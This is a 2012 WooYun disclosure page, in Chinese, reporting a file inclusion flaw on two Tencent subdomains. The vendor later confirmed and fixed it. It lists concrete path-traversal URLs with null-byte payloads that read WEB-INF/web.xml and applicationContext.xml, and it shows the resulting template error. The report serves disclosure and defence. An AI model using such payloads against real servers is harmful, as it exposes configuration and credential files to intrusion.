当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-07303

漏洞标题:腾讯某两子站存在文件包含

相关厂商:腾讯

漏洞作者: Jannock

提交时间:2012-05-18 23:11

修复时间:2012-07-02 23:12

公开时间:2012-07-02 23:12

漏洞类型:文件包含

危害等级:中

自评Rank:5

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-05-18: 细节已通知厂商并且等待厂商处理中
2012-05-20: 厂商已经确认,细节仅向厂商公开
2012-05-30: 细节向核心白帽子及相关领域专家公开
2012-06-09: 细节向普通白帽子公开
2012-06-19: 细节向实习白帽子公开
2012-07-02: 细节向公众公开

简要描述:

腾讯某两频道存在文件包含,如果结合文件上传,或可以拿shell。由于没找到上传的地方,只能算中了。

详细说明:

包含路径为模板文件,如果可以上传文件,即可以包含上传的图片模板,达到执行的目的。
http://dnfcity.qq.com/helpCenter.do?itemId=../../WEB-INF/web.xml%00&captionType=whelp
http://xxzcity.qq.com/helpCenter.do?itemId=../../WEB-INF/web.xml%00&captionType=whelp
http://xxzcity.qq.com/helpCenter.do?itemId=../../WEB-INF/classes/applicationContext.xml%00&captionType=whelp
FreeMarker template error!
Expression jdbc is undefined on line 12, column 55 in WEB-INF/classes/applicationContext.xml�.html.
The problematic instruction:
----------
==> ${jdbc.driverClassName} [on line 12, column 53 in WEB-INF/classes/applicationContext.xml
差点就可以包含显示出数据库连接情况,不过可能是特殊名称,所以显示模板出错。

漏洞证明:

修复方案:

应该懂!

版权声明:转载请注明来源 Jannock@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2012-05-20 10:29

厂商回复:

非常感谢您的报告,我们已经修复了所报告的问题。

最新状态:

暂无